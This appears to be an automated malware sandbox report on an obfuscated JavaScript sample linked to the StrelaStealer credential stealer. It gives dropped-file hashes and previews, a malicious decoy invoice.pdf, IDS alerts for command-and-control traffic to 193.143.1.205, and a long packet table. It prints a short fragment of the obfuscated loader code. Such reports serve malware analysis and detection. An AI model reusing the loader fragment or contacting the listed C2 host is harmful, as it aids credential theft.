Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f5824b05-0f54-4e6a-876c-73857c0a8dda.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18336), with CRLF line terminators
Entropy (8bit):	4.9255211839074144
TrID:
File name:	2709365481268819493.js
File size:	22'117 bytes
MD5:	a4224ef1a23993627f7914d8bdc86330
SHA1:	ed715a9844a580446369a2bbab38e14b03a9a890
SHA256:	6c39687bdc5188fa42bd71f35d93d323a5efe5fcb1991f94e9b16607b11d7b33
SHA512:	3b8f0b449f4b237350eec593f204174a9abe681ae334662517ba44b0b6e2ba5b33dfa010d4c19942a96e08a31cc38bb9e7fdce0f03f1cc191699676052b4c275
SSDEEP:	384:cde8daZBq46wSWMit8oluGecdrcBEHnh+:LQktFc5CHnh+
TLSH:	63A232C88413CA74C3FD11A16D825E9634F417CCEEB8554CAED768C015BCEB18ADBAB9
File Content Preview:	function hrxfspviw(){dahebvj=[1031,3079,5127,4103,2055,3072];var vopjfws=this[jfbbvzbfi+airulzed+xbnnkznc+gpdglgnpt+xntfpbtus+hxwmws+mmeqflmk+nqmogfbsc](this[pkxkkemqc+fbclx+gsrkwi+xbnnkznc+njkyfsli+jfbbvzbfi+nqmogfbsc][iyofiunh+xbnnkznc+xntfpbtus+airulze

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T00:48:56.802698+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T00:48:56.802698+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T00:48:58.931702+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 00:48:55.948865891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:55.956252098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:55.956330061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:55.975882053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:55.982430935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.802630901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.802644968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.802697897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:56.802880049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.802896976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.802908897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.802918911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.802931070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.802937984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:56.802942038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.802962065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:56.802972078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.802983999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.803008080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:56.803025961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:56.807650089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.807663918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.807673931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.807724953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:56.860450983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.860469103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.860537052 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:56.932343006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.932353020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.932364941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.932391882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.932396889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.932410002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.932461977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:56.932461977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:56.932851076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.932857990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.932868004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.932873011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.932879925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.932887077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.932930946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:56.932949066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:56.933818102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.933825016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.933831930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.933877945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.933881044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:56.933887005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.933900118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.933964014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:56.933964014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:56.934762001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.934767962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.934781075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:56.935087919 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:56.978559971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:56.996448040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.034281969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.034291029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.034297943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.034501076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.034501076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.060204029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.060215950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.060229063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.060338020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.060348988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.060352087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.060355902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.060365915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.060374022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.060380936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.060383081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.060424089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.061167955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.061173916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.061181068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.061233997 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.061312914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.061319113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.061331034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.061367989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.061378956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.061384916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.061450958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.061822891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.061829090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.061840057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.061882973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.061888933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.061899900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.061906099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.061940908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.061940908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.062002897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.062772989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.062782049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.062794924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.062799931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.062812090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.062819004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.062827110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.062886953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.062886953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.063638926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.063647985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.063658953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.063663960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.063671112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.063677073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.063683987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.063780069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.063780069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.064443111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.064450026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.064462900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.064469099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.064480066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.064502001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.064555883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.088851929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.088864088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.088876963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.088943958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.126760006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.162764072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.162770033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.162873983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.162879944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.162885904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.162919044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.162941933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.162946939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.163001060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.163001060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.188697100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.188704967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.188736916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.188743114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.188755989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.188793898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.188800097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.188815117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.188842058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.188842058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.189110994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.189116001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.189219952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.189222097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.189228058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.189234018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.189359903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.189397097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.189404011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.189415932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.189421892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.189455986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.189462900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.189474106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.189481020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.189481020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.189666986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.189955950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.189963102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.189974070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.190001965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.190007925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.190013885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.190018892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.190026045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.190046072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.190077066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.190709114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.190716028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.190726995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.190732956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.190738916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.190743923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.190756083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.190762043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.190768003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.190773964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.190784931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.190792084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.190793037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.190793037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.190836906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.190836906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.191677094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.191684008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.191694975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.191699982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.191705942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.191710949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.191721916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.191726923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.191739082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.191744089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.191750050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.191756010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.191775084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.191816092 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.192486048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.192492008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.192502022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.192507982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.192522049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.192532063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.192538023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.192543983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.192552090 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.192570925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.192574978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.192579031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.192590952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.192596912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.192605972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.192636967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.192656040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.193491936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.193504095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.193515062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.193520069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.193526030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.193537951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.193543911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.193550110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.193559885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.193561077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.193609953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.193609953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.195051908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.199484110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.219048977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.219146013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.219347954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.255000114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.255012035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.255023956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.255249977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.255266905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.255281925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.255287886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.255294085 CET	80	49704	193.143.1.205	192.168.2.8
